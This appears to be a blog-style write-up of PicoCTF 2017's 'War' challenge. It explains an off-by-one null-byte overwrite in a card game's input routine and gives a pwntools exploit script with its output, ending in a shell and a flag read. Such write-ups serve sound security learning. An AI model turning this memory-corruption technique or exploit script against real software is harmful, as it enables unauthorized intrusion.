It’s July 4th weekend and WCTF 2018 is running but no one on my team remembered to sign up prior to the signup deadline :cry: (sidenote: signup deadlines for CTFs should not be a thing!). In between reading Practical Malware Analysis and The Hacker Playbook 3, I’m craving some CTF practice. I decided it was time to go back to PicoCTF 2017 (which I never ended up finishing) and completing the challenges before PicoCTF 2018 goes live in September. “War” is the Master Challenge for Level 3 in PicoCTF 2017. It took me a lot longer to find the bug than I want to admit so I’m doing a writeup to compensate.
The challenge for War was given as:
1
Win a simple Card Game. Source. Connect on shell2017.picoctf.com:49182.
I was given an ELF war, the corresponding source code war.c, and, of course, the server and port to connect to (shell2017.picoctf.com:49182).
//Set to be the smaller of the two decks. gameData.deckSize = gameData.ctfer.playerCards.deckSize > gameData.opponent.playerCards.deckSize ? gameData.opponent.playerCards.deckSize : gameData.ctfer.playerCards.deckSize;
printf("Welcome to the WAR card game simulator. Work in progress...\n"); printf("Cards don't exchange hands after each round, but you should be able to win without that,right?\n"); printf("Please enter your name: \n"); memset(gameData.name,0,NAMEBUFFLEN); if(!readInput(gameData.name,NAMEBUFFLEN)){ printf("Read error. Exiting.\n"); exit(-1); } printf("Welcome %s\n", gameData.name); while(1){ size_t playerIndex = gameData.ctfer.playerCards.top; size_t oppIndex = gameData.opponent.playerCards.top; oppCard = &gameData.opponent.playerCards.cards[oppIndex]; playCard = &gameData.ctfer.playerCards.cards[playerIndex]; printf("You have %d coins.\n", gameData.playerMoney); printf("How much would you like to bet?\n"); memset(betStr,0,BETBUFFLEN); if(!readInput(betStr,BETBUFFLEN)){ printf("Read error. Exiting.\n"); exit(-1); }; bet = atoi(betStr); printf("you bet %d.\n",bet); if(!bet){ printf("Invalid bet\n"); continue; } if(bet < 0){ printf("No negative betting for you! What do you think this is, a ctf problem?\n"); continue; } if(bet > gameData.playerMoney){ printf("You don't have that much.\n"); continue; } printf("The opponent has a %d of suit %d.\n", oppCard->value, oppCard->suit); printf("You have a %d of suit %d.\n", playCard->value, playCard->suit); if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){ printf("You won? Hmmm something must be wrong...\n"); if(checkInvalidCard(playCard)){ printf("Cheater. That's not actually a valid card.\n"); }else{ printf("You actually won! Nice job\n"); gameData.playerMoney += bet; } }else{ printf("You lost! :(\n"); gameData.playerMoney -= bet; } gameData.ctfer.playerCards.top++; gameData.opponent.playerCards.top++; if(gameData.playerMoney <= 0){ printf("You are out of coins. Game over.\n"); exit(0); }elseif(gameData.playerMoney > 500){ printf("You won the game! That's real impressive, seeing as the deck was rigged...\n"); system("/bin/sh -i"); exit(0); }
//TODO: Implement card switching hands. Cheap hack here for playability gameData.deckSize--; if(gameData.deckSize == 0){ printf("All card used. Card switching will be implemented in v1.0, someday.\n"); exit(0); } printf("\n"); fflush(stdout); };
return0; }
The program seems pretty straightforward. It asks for a username, then asks you to bet while drawing cards from each deck (just like the entirely deterministic card game War). For all binary exploitation problems, I like to start out by interacting with the service for a bit, just to get a feel for what is going on:
$ nc shell2017.picoctf.com 49182 Welcome to the WAR card game simulator. Work in progress... Cards don't exchange hands after each round, but you should be able to win without that,right? Please enter your name: asdfasdf Welcome asdfasdf You have 100 coins. How much would you like to bet? 10 you bet 10. The opponent has a 12 of suit 2. You have a 3 of suit 0. You lost! :(
You have 90 coins. How much would you like to bet? 1 you bet 1. The opponent has a 12 of suit 1. You have a 6 of suit 2. You lost! :(
You have 89 coins. How much would you like to bet? 1 you bet 1. The opponent has a 10 of suit 0. You have a 5 of suit 1. You lost! :(
You have 88 coins. How much would you like to bet? 88 you bet 88. The opponent has a 9 of suit 0. You have a 7 of suit 0. You lost! :( You are out of coins. Game over.
It seems that we are either very unlucky or the game is rigged. Looking at the code more closely, I immediately caught a couple things of interest:
The buildDecks() function gives our player cards with value 8 and under while giving the opponent player cards with value 8 and higher! Unfair! Also, when giving our player cards with value 8, we get the two lower suits while the opponent gets the two higher suits. This means that we will always lose as every card in our deck is lower than every card in the opponent’s deck.
Our goal is very clearly to get to more than 500 points as we will be rewarded with system("/bin/sh -i");, where we can then cat flag.txt for the solution.
I spent a lot of time looking at the code and interacting with the remote service (without even touching the binary) in a half-asleep state before seeing that the line of code which compares the current player card against the opponent’s card has a user error:
Somehow, the opponent’s card value is being added to the player’s card suit, instead of the opponent’s card suit. Unfortunately, this led to a dead end since the comparison being used is greater than. Given all the cards in the player deck, we could only (at best) tie with the opponent card but that would still cause us to lose our bet.
Since our only possible interaction with the program is through our name input and our betting input, I made sure that all places where buffers were used had corresponding buffer lengths. Eventually, I came to the realization that the key to this problem lies in how input is read, via the readInput() function:
The error with the above code is that the variable count can have value up to len-1 (if the user input is right up to the length of the buffer). This means that when putting in a name with a max input of 32 characters (which is the amount of buffer space given for the name), buff[32] will get overwritten with a null byte \x00. This will cause some byte clobbering in whatever comes after the buffer that gets written to. Lucky for us, the way that the binary is compiled with less optimizations so we can figure out what will get clobbered:
1 2 3 4 5 6 7
typedefstruct _gameState{ int playerMoney; player ctfer; char name[NAMEBUFFLEN]; size_t deckSize; player opponent; } gameState;
deckSize will get clobbered with a null byte \x00 which works out perfectly for us since the deck size check will allow us to continue betting for more than 26 times:
1 2
gameData.deckSize--; if(gameData.deckSize == 0){
After the clobbering, gameData.deckSize will be 0 and then decremented so we won’t enter our game end state. When we try this and continually bet 1 coin past the deck size of 26, we start to see that both decks are full of 0 values for a bit and then eventually becomes the values of our name buffer that we input earlier after we reach 48 coins:
You have 48 coins. How much would you like to bet? 1 you bet 1. The opponent has a 0 of suit 0. You have a 65 of suit 65. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card.
You have 48 coins. How much would you like to bet? 1 you bet 1. 1The opponent has a 0 of suit 0. You have a 65 of suit 65. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card.
You have 48 coins. How much would you like to bet?
you bet 1. The opponent has a 0 of suit 0. You have a 66 of suit 66. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card.
You have 48 coins. How much would you like to bet? 1 you bet 1. The opponent has a 0 of suit 0. You have a 66 of suit 66. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card.
We have to remember that the input is little endian and the layout of the data in memory is card suit then card value. From here, it’s easy to write a script to solve the challenge with pwntools:
if op == 'p': r = process('./war') elif op == 'r': r = remote(HOST, PORT) else: print'Must specify p for process or r for remote' sys.exit(0) r.recv(1024) r.sendline('\x04\x0e'*15 + 'A')
for _ in range(52): print r.recv(1024) r.sendline('1')
coins = 48 while coins < 500:
r.sendline(str(coins)) r.recv(1024) coins *= 2
r.interactive()
r.close()
if __name__ == '__main__': if len(sys.argv) < 2: print'Usage: python %s <p|r>' % (sys.argv[0]) sys.exit(0)
[*] Switching to interactive mode you bet 192. The opponent has a 0 of suit 0. You have a 14 of suit 4. You won? Hmmm something must be wrong... You actually won! Nice job
You have 384 coins. How much would you like to bet? you bet 384. The opponent has a 0 of suit 0. You have a 14 of suit 4. You won? Hmmm something must be wrong... You actually won! Nice job You won the game! That's real impressive, seeing as the deck was rigged... /bin/sh: 0: can't access tty; job control turned off $ whoami war_3 $ ls flag.txt war war_no_aslr xinetd_wrapper.sh $ cat flag.txt
This took me more hours than it really should have but it was a fun challenge (as are all challenges from picoCTF). Looking forward to picoCTF 2018!